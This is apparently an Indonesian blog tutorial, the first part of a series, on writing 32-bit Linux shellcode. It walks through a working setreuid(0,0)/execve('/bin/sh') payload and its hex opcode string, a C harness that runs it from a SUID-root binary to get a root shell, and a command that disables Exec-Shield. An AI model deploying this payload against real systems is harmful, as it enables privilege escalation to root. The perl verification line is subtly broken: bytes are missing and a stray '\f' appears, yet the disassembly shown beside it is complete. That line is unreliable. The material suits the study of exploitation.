Seringkali shellcode terlihat dalam
source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu
shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini
saya akan menjelaskan tentang shellcode dan kita juga akan praktek
belajar membuat shellcode sendiri.
Shellcode, Exploit dan Vulnerability
Shellcode, exploit dan vulnerability
adalah 3 saudara kandung. Semua berawal dari keteledoran sang
programmer sehingga programnya mengandung
vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.
vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.
Dalam kondisi normal, program mengikuti instruksi yang dibuat oleh penciptanya (programmer). Hacker bisa membuat program mengikuti perintahnya dan mengabaikan perintah penciptanya dengan mengexploit vulnerability yang mengakibatkan arbitrary code execution
Kenapa disebut shellcode? Bila hacker
bisa membuat program mengeksekusi code apapun yang dia mau, maka code
apakah yang dipilihnya? Pilihan terbaik adalah code yang memberikan dia
shell sehingga dia bisa memberi perintah lain yang dia mau dengan
leluasa. Oleh karena itu code itu disebut shell-code.
Bila diibaratkan misile: exploit adalah misilnya, sedangkan shellcode adalah warhead yang bisa diisi dengan apa saja seperti bahan peledak, nuklir, senjata kimiawi atau senjata biologis terserah keinginan penyerang.
Walaupun umumnya shellcode memberikan
shell, shellcode tidak selalu memberikan shell. Attacker bebas
menentukan code apa yang akan dieksekusi di komputer korban. Shellcode
bisa melakukan apa saja mulai dari menghapus file, memformat hardisk,
mengirimkan data, menginstall program baru dsb terserah keinginan
attacker.
Arbitrary Code Execution
Arbitrary code execution adalah kondisi dimana
attacker dapat menginjeksi sembarang code/instruksi ke dalam suatu
proses yang sedang running, kemudian code tersebut dieksekusi. Code yang
diinjeksi itu disebut dengan shellcode. Code dalam shellcode adalah
dalam bentuk bahasa mesin atau opcode. Biasanya opcode ini tidak
dituliskan dalam nilai binary karena akan menjadi sangat panjang,
melainkan memakai nilai hexa yang lebih kompak.
Antara Code dan Data
Sebenarnya code adalah data juga yang isinya adalah instruksi yang bisa
dieksekusi komputer. Dalam memori, secara internal, data dan code tidak
ada bedanya karena keduanya hanyalah untaian simbol 1 dan 0.
Saya beri contoh simple: Apakah nilai 50 hexa atau 01010000 binary di suatu lokasi memori adalah code atau data?
- Bila 50 hexa dianggap sebagai data bertipe karakter, maka itu adalah kode ascii untuk huruf ‘P’.
- Bila 50 hexa dianggap sebagai code, maka itu adalah instruksi PUSH EAX (dalam mode 32 bit) atau PUSH AX (dalam mode 16 bit).
1 2 3 4 5 6 7 8 9 10 11 12 | $ perl -e 'print "ABCD"'|xxd 0000000: 4142 4344 ABCD $ perl -e 'print "ABCD"'|ndisasm -b 16 - 00000000 41 inc cx 00000001 42 inc dx 00000002 43 inc bx 00000003 44 inc sp $ perl -e 'print "ABCD"'|ndisasm -b 32 - 00000000 41 inc ecx 00000001 42 inc edx 00000002 43 inc ebx 00000003 44 inc esp |
Dalam contoh di atas ABCD secara internal disimpan sebagai 0×41, 0×42,
0×43 dan 0×44, yaitu kode ASCII dari karakter ‘A’,'B’,'C’,'D’ (lihat
baris ke-2). Namun data yang sama bisa juga dianggap sebagai code 16 bit
atau 32 bit seperti pada baris ke-4 s/d ke-7 untuk code 16 bit dan
baris ke-9 s/d ke-12 untuk code 32 bit.
Sekarang pertanyaannya adalah kapan suatu data diperlakukan sebagai data
dan kapan diperlakukan sebagai code? Jawabannya adalah ketika suatu
data ditunjuk oleh instruction pointer, atau program counter yang
biasanya ada pada register EIP (IP pada sistem 16 bit), maka data di
lokasi itu adalah code yang akan dieksekusi.
Data apapun yang berada di lokasi memori yang alamatnya disimpan pada EIP akan dianggap sebagai code.
Sebagai demonstrasi, program kecil di bawah ini menunjukkan bahwa sebuah
data bisa juga dianggap sebagai code bila ditunjuk oleh EIP.
1 2 3 4 5 6 7 | #include <stdio.h> char str[] = "ABCHIJK\xc3"; int main(void) { printf("%s\n",str); // str as argument of printf() ((void (*)(void))str)(); // str() return 0; } |
$ gcc codedata.c -o codedata $ ./codedata ABCHIJKÃ
Ada yang menarik dari program kecil di atas, yaitu pada variabel str
yang berisi string ABCHIJK plus karakter berkode ASCII 0xc3. Pada baris
ke-4, variabel str digunakan sebagai argument untuk fungsi printf(),
dalam hal ini berarti str dianggap sebagai data. Sedangkan pada baris
ke-5, str dipanggil seperti halnya fungsi, dalam hal ini str dianggap
sebagai code. Perhatikan bahwa str sejatinya adalah bertipe pointer to
char, namun bisa dipanggil seperti fungsi karena telah dicasting ke
pointer to function dengan (void (*)(void)).
Dalam contoh di atas kita mengeksekusi code yang ada di variabel str,
berarti kita mengeksekusi code yang berada di area data (bukan area
code). Kernel sekarang banyak yang menerapkan proteksi sehingga kita
tidak bisa mengeksekusi code yang tidak berada di area memori yang
khusus untuk code. Dalam lingkungan windows, dikenal sebagai Data Execution Prevention, dan di Linux juga ada dikenal sebagai Exec-Shield.
Agar contoh dalam artikel ini bisa bekerja, anda harus mematikan Exec-Shield :
echo “0″ > /proc/sys/kernel/exec-shield
Perhatikan gambar di bawah ini. Gambar tersebut adalah hasil disassemble
dengan gdb. Terlihat bahwa str terletak di lokasi 0×8049590. Pada
<main+24> ada instruksi CALL yang merupakan pemanggilan fungsi
printf() dengan str (0×8049590) sebagai argumen fungsi. Dalam hal ini
berarti str dianggap sebagai data bertipe string. Namun pada
<main+34> ada instruksi CALL ke lokasi str, hal ini berarti
program akan lompat (jump) ke lokasi str dan mengeksekusi instruksi yang
ada di lokasi str. Dalam hal ini berarti str dianggap sebagai code.
Perhatikan pula bahwa pada str saya menambahkan \xc3 di akhir str karena
\xc3 adalah opcode instruksi RET sehingga program akan kembali ke
fungsi main dan melanjutkan fungsi main sampai selesai.
Mulai Membuat Shellcode
Sebenarnya isi variable str pada program di atas adalah shellcode, jadi
sebenarnya kita sudah berhasil membuat shellcode pertama. Selamat!
Namun shellcode yang kita buat tersebut tidak melakukan sesuatu yang
berarti karena isinya hanya INC dan DEC kemudian RET. Namun dari contoh
tersebut setidaknya kita sudah memahami bahwa shellcode tidak lain
hanyalah string, yaitu kumpulan karakter yang juga merupakan opcode
instruksi bahasa mesin.
Sekarang kita akan mulai membuat shellcode yang benar-benar spawn sebuah shell. Dalam artikel sebelumnya mengenai belajar assembly
saya sudah menjelaskan cara memanggil system call dengan interrupt 80
hexa. Shellcode yang akan kita buat berisi instruksi untuk memanggil
system call. Perhatikan source bahasa C di bawah ini yang jika
dieksekusi akan spawn shell.
1 2 3 4 5 6 7 | #include <sys/types.h> #include <unistd.h> int main(void) { char* args[] = {"/bin/sh",NULL}; setreuid(0,0); execve("/bin/sh",args,NULL); } |
Program di atas hanya memanggil system call setreuid() dan execve().
Shellcode yang akan kita buat juga akan melakukan hal yang sama seperti
source di atas, bedanya hanya dibuat dalam assembly.
System Call setreuid()
setreuid() digunakan untuk mengeset userID real dan efektif. System call
ini sangat penting sebab program yang memiliki SUID bit, biasanya
men-drop root privilege bila sudah tidak dibutuhkan lagi. Oleh karena
itu kita harus mengembalikan privilege itu sebelum spawn shell.
Deklarasi system call setreuid() adalah:
int setreuid(uid_t ruid, uid_t euid); ruid = real user id euid = effective user id
Berdasarkan deklarasi system call tersebut, maka register yang harus diisi sebelum melakukan interrupt adalah:
- EAX: 0×46 atau 70 (Nomor system call dari file unistd.h)
- EBX: 0×0 (Parameter pertama, real uid yaitu 0)
- ECX: 0×0 (Parameter kedua, effective uid yaitu 0)
Potongan assembly di bawah ini adalah instruksi untuk memanggil system call setreuid(0,0).
1 2 3 4 5 6 | ; setreuid(0,0) xor eax,eax mov al,0x46 ; EAX = 0x46 xor ebx,ebx ; EBX = 0 xor ecx,ecx ; ECX = 0 int 0x80 |
Execve adalah system call untuk mengeksekusi suatu executable. Semua
data, variable, heap, stack dsb milik proses yang memanggil execve akan
hilang dan digantikan dengan program yang baru dieksekusi. Namun
processID, dan open file handle (termasuk stdout,stdin,stderr)
diwariskan ke program yang baru dieksekusi. Deklarasi system call execve
adalah seperti di bawah ini:
int execve(const char *filename, char *const argv[],char *const envp[]);
Ada 3 argumen yang diperlukan, namun kita hanya akan memakai 2 argumen.
Argumen envp kita isi dengan NULL karena kita tidak membutuhkan variabel
environment. Berdasarkan deklarasi system call tersebut, maka register
yang harus diisi sebelum memanggil interrupt adalah:
- EAX: 0xb atau 11 (nomor system call)
- EBX: alamat string “/bin/sh”
- ECX: alamat array of string, {“/bin/sh”,NULL}
- EDX: 0 karena envp diisi NULL.
Potongan assembly di bawah ini memanggil system call execve untuk mengeksekusi /bin/sh.
1 2 3 4 5 6 7 8 9 10 11 12 | ; execve("/bin/sh",{"/bin/sh",0x0},0x0) xor eax,eax push eax ; push 0x0 push 0x68732f2f ; push "//sh" push 0x6e69622f ; push "/bin" mov ebx,esp ; EBX = ESP = "/bin//sh\x0" push eax ; push 0x0 push ebx ; push "/bin//sh\x0" mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0} xor edx,edx ; EDX = 0 mov al, 0xb ; EAX = 0xb int 0x80 |
EBX harus diisi dengan address string berisi nama file executable yang
akan dieksekusi. Kita gunakan stack untuk membuat string “/bin//sh”
seperti pada gambar di atas. Dengan cara ini kita akan mendapatkan
address string executable filename pada register ESP. Isi ESP ini
kemudian disalin ke register EBX. Mungkin ada yang mengira ada kesalahan
ketik dalam string tersebut, karena ada double slash sebelum “sh”. Ini
bukan kesalahan ketik, namun sengaja agar pada saat push tepat mempush 4
byte (“//sh”), dan kelebihan satu slash tidak jadi masalah.
ECX harus diisi dengan array of string {“/bin//sh”,NULL}. Sekali lagi
kita juga memakai stack dan register EBX yang sebelumnya sudah berisi
address string “/bin//sh”. Pada gambar di atas pertama kita harus
mempush NULL (0×0) ke dalam stack sebagai elemen array index ke-1,
kemudian diikuti dengan mempush address string “/bin//sh” dari EBX
sebagai elemen array index ke-0. Dengan cara ini ESP akan berisi address
array of string {“/bin//sh”,NULL}. Nilai ESP inilah yang disalin ke
register ECX.
Shellcode dalam Assembly
Mari kita gabungkan potongan-potongan assembly di atas untuk membentuk
shellcode yang utuh seperti pada source code assembly di bawah ini.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | section .text global _start _start: ; setreuid(0,0) xor eax,eax mov al,0x46 ; EAX = 0x46 xor ebx,ebx ; EBX = 0 xor ecx,ecx ; ECX = 0 int 0x80 ; execve("/bin/sh",{"/bin/sh",0x0},0x0) xor eax,eax push eax ; push 0x0 push 0x68732f2f ; push "//sh" push 0x6e69622f ; push "/bin" mov ebx,esp ; EBX = ESP = "/bin//sh\x0" push eax ; push 0x0 push ebx ; push "/bin//sh\x0" mov ecx,esp ; ECX = ESP = {"/bin//sh\x0",0x0} xor edx,edx ; EDX = 0 mov al, 0xb ; EAX = 0xb int 0x80 |
Mari kita compile dan link source assembly di atas.
1 2 3 4 5 6 7 8 9 10 | $ nasm -f elf basicshellcode.asm $ ld -o basicshellcode basicshellcode.o $ sudo chown root:root basicshellcode;sudo chmod 4755 basicshellcode Password: $ ls -l basicshellcode -rwsr-xr-x 1 root root 623 Dec 3 14:52 basicshellcode $ ./basicshellcode sh-3.2# whoami root sh-3.2# exit |
Hore berhasil! Sekarang tahap finishing, yaitu mengambil opcode dari program di atas. Kita gunakan objdump untuk ini.
$ objdump -M intel -d -j .text ./basicshellcode ./basicshellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor eax,eax 8048062: b0 46 mov al,0x46 8048064: 31 db xor ebx,ebx 8048066: 31 c9 xor ecx,ecx 8048068: cd 80 int 0x80 804806a: 31 c0 xor eax,eax 804806c: 50 push eax 804806d: 68 2f 2f 73 68 push 0x68732f2f 8048072: 68 2f 62 69 6e push 0x6e69622f 8048077: 89 e3 mov ebx,esp 8048079: 50 push eax 804807a: 53 push ebx 804807b: 89 e1 mov ecx,esp 804807d: 31 d2 xor edx,edx 804807f: b0 0b mov al,0xb 8048081: cd 80 int 0x80
Dari output objdump di atas, kita hanya perlu mengambil opcode dalam
kolom yang ditengah kemudian menggandengnya menjadi sebuah string. Untuk
memudahkan mengambil opcode saya membuat script satu baris berikut:
$ objdump -d ./basicshellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
Mari kita verifikasi sekali lagi dengan perl dan ndisasm.
$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' |ndisasm -u - 00000000 31C0 xor eax,eax 00000002 B046 mov al,0x46 00000004 31DB xor ebx,ebx 00000006 31C9 xor ecx,ecx 00000008 CD80 int 0x80 0000000A 31C0 xor eax,eax 0000000C 50 push eax 0000000D 682F2F7368 push dword 0x68732f2f 00000012 682F62696E push dword 0x6e69622f 00000017 89E3 mov ebx,esp 00000019 50 push eax 0000001A 53 push ebx 0000001B 89E1 mov ecx,esp 0000001D 31D2 xor edx,edx 0000001F B00B mov al,0xb 00000021 CD80 int 0x80
Hasilnya sama, berarti shellcode tersebut benar. Sekarang kita lanjutkan
dengan mengeksekusi shellcode tersebut dengan program C di bawah ini:
1 2 3 4 5 6 7 | char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int main() { ((void (*)(void))shellcode)(); // shellcode() } |
$ gcc shellcode4.c -o shellcode4 $ sudo chown root:root shellcode4; sudo chmod 4755 shellcode4 Password: $ ls -l ./shellcode4 -rwsr-xr-x 1 root root 4748 Dec 3 16:25 ./shellcode4 $ ./shellcode4 sh-3.2# whoami root sh-3.2# exit
Oke, selamat kita telah berhasil membuat shellcode yang menghasilkan
shell di local. Pada bagian ke-2, saya akan menjelaskan pembuatan
shellcode untuk remote exploit.
No comments:
Post a Comment